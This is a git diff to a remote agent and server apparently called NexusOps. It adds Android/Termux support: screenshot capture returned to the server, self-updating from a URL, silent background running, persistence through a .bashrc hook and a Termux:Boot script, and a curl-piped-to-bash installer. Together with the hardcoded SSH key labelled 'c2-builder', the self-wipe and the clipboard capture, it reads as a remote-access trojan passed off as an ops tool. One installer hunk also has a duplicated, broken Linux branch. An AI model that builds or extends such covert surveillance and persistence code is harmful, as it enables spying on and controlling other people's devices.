diff --git a/agents/agent.py b/agents/agent.py index d18b4d7..10227c7 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -14,7 +14,7 @@ import subprocess import shutil import getpass import urllib.request -AGENT_VERSION = "2.4.0" +AGENT_VERSION = "2.5.0" NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14')) NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else [] NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay' @@ -290,6 +290,13 @@ def _check_ttl_and_wipe(server_url): pass os._exit(0) +# ── Android/Termux detection ── +def _is_termux(): + return "com.termux" in os.environ.get("PREFIX", "") or os.path.exists("/data/data/com.termux") + +def _is_android(): + return _is_termux() or os.path.exists("/system/bin/sh") and platform.system() == "Linux" + # ── Clipboard capture (desktop only) ── _last_clip = None def _read_clipboard(): @@ -705,6 +712,21 @@ def execute_structured_action(action_type, payload): if os.path.exists(ss_path): os.remove(ss_path) + if system == "linux" and _is_termux(): + try: + r = subprocess.run("termux-storage-screenshot " + ss_path, shell=True, capture_output=True, timeout=15) + except Exception: + r = None + if not (os.path.exists(ss_path) and os.path.getsize(ss_path) > 0): + subprocess.run("screencap -p " + ss_path, shell=True, capture_output=True, timeout=15) + if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + import base64 as _b64ss + with open(ss_path, "rb") as f: + b64ss = _b64ss.b64encode(f.read()).decode() + os.remove(ss_path) + return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64ss}), 0 + return "ERROR: Termux screenshot failed (needs termux-api storage permission or root screencap)", 1 + if system == "linux": for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]: if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0: @@ -782,7 +804,11 @@ def execute_structured_action(action_type, payload): my_path = os.path.abspath(__file__) bak = my_path + ".bak" os.rename(my_path, bak) - urllib.request.urlretrieve(new_url, my_path) + req2 = urllib.request.Request(new_url, headers={"User-Agent": "NexusOps-Agent/1.0"}) + with urllib.request.urlopen(req2, timeout=60) as resp: + data = resp.read() + with open(my_path, "wb") as f: + f.write(data) os.chmod(my_path, 0o755) os.remove(bak) return "Agent updated successfully. Restarting...", 0 @@ -794,6 +820,31 @@ def execute_structured_action(action_type, payload): elif action_type == "ensure_persistence": results = [] + if system == "linux" and _is_termux(): + # Termux: cron is unavailable by default — use .bashrc re-launch + optional termux-boot script + try: + import shlex as _sh + srv = payload.get('server_url', '') + bashrc = os.path.join(os.path.expanduser("~"), ".bashrc") + hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {srv} --silent &>/dev/null &)\n" + content = open(bashrc).read() if os.path.exists(bashrc) else "" + if "nexus-agent" not in content: + with open(bashrc, "a") as f: + f.write(hook) + results.append("bashrc: hook installed") + else: + results.append("bashrc: already present") + bootdir = os.path.expanduser("~/termux-boot") + if os.path.isdir(bootdir): + script = os.path.join(bootdir, "nexus-agent.sh") + with open(script, "w") as f: + f.write("#!/data/data/com.termux/files/usr/bin/sh\n") + f.write(f"python3 {os.path.abspath(__file__)} --server {srv} --silent &\n") + os.chmod(script, 0o700) + results.append("termux-boot: script installed") + except Exception as e: + results.append(f"termux persistence failed: {str(e)[:50]}") + return "Persistence results: " + "; ".join(results), 0 if system == "linux": # crontab try: @@ -1346,8 +1397,8 @@ def main(): "platform": system_os.lower(), "arch": arch, "ip": ip, - "osName": f"{system_os} {platform.release()}", - "tags": node_tags, + "osName": (f"Android (Termux) {platform.release()}" if (_is_android() and _is_termux()) else f"{system_os} {platform.release()}"), + "tags": (node_tags + (["android"] if _is_android() else [])), "agentVersion": AGENT_VERSION } @@ -1395,7 +1446,7 @@ def main(): "diskUsage": disk, "uptime": uptime, "processCount": get_process_count(), - "tags": node_tags, + "tags": (node_tags + (["android"] if _is_android() else [])), "heartbeatInterval": heartbeat_interval, "agentVersion": AGENT_VERSION } diff --git a/dist/NexusAgent b/dist/NexusAgent index 62ddb6f..1ab2999 100755 Binary files a/dist/NexusAgent and b/dist/NexusAgent differ diff --git a/public/app.js b/public/app.js index 91b14eb..94388e9 100644 --- a/public/app.js +++ b/public/app.js @@ -414,6 +414,7 @@ function getOsIcon(platform) { const p = (platform || '').toLowerCase(); if (p.includes('win')) return 'fa-brands fa-windows'; if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple'; + if (p.includes('android')) return 'fa-brands fa-android'; return 'fa-brands fa-linux'; } diff --git a/public/index.html b/public/index.html index b742f04..01481bc 100644 --- a/public/index.html +++ b/public/index.html @@ -245,6 +245,7 @@ + @@ -294,6 +295,15 @@ +
+

Requires the Termux app (F-Droid build recommended). Installs agent + openssh inside Termux, adds Termux:Boot persistence if you have the boot addon. ⓘ What's Termux?

+
+ pkg install -y curl && curl -sSL https://agent.thetempleofdoom.com/install-android.sh | bash + +
+

Disable battery optimization for Termux (Settings → Apps → Termux → Battery) or Android will kill the agent.

+
+

Download and run directly using standard Python 3 (No external dependencies required).

diff --git a/server.js b/server.js index 773516f..cfaa751 100644 --- a/server.js +++ b/server.js @@ -1026,6 +1026,56 @@ echo "✅ Agent launched (no persistence). It will report back to $SERVER_URL"`} res.send(script); }); +// ── Android (Termux) installer ── +app.get('/install-android.sh', (req, res) => { + const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; + const persist = req.query.persist !== '0'; + const script = `#!/data/data/com.termux/files/usr/bin/bash +# NexusOps Android (Termux) Agent Installer +set -e +SERVER_URL="${serverUrl}" +INSTALL_DIR="$HOME/.nexus-agent" + +echo "===========================================" +echo " NexusOps Agent Installer (Android) " +echo "===========================================" + +echo "[1/4] Installing requirements (python, openssh)..." +pkg install -y python openssh 2>/dev/null || apt install -y python openssh 2>/dev/null || echo "[!] some packages failed — continuing" + +echo "[2/4] Creating install dir..." +mkdir -p "$INSTALL_DIR" + +echo "[3/4] Downloading agent..." +curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py" +chmod +x "$INSTALL_DIR/agent.py" + +echo "[4/4] Starting agent..." +nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 & +${persist ? ` +# Persistence: bashrc hook (+ termux-boot if present) +HOOK=' +# nexus-agent +(pgrep -f agent.py || python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent &>/dev/null &) +' +grep -q nexus-agent ~/.bashrc 2>/dev/null || echo "$HOOK" >> ~/.bashrc +if [ -d ~/termux-boot ]; then + cat > ~/termux-boot/nexus-agent.sh < { const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; @@ -1039,6 +1089,14 @@ echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL" case "$(uname -s 2>/dev/null || echo Windows)" in Linux) + if [ -n "$PREFIX" ] && echo "$PREFIX" | grep -q com.termux; then + echo "[*] Android/Termux detected — deploying Termux agent" + curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-android.sh?persist=${persist}" 2>/dev/null | bash ${quiet} & + else + echo "[*] Linux detected — deploying via systemd" + curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} & + fi + ;; echo "[*] Linux detected — deploying via systemd" curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} & ;; @@ -1087,7 +1145,7 @@ app.post('/api/nodes/update-all', (req, res) => { if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue; commandQueues.get(id).push({ id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`, - actionType: 'update_agent', payload: {}, command: 'update_agent', + actionType: 'update_agent', payload: { url: (PUBLIC_URL || `http://${SERVER_IP}:${PORT}`) + '/agent.py' }, command: 'update_agent', status: 'queued', queuedAt: Date.now() }); queued++; targets.push(id);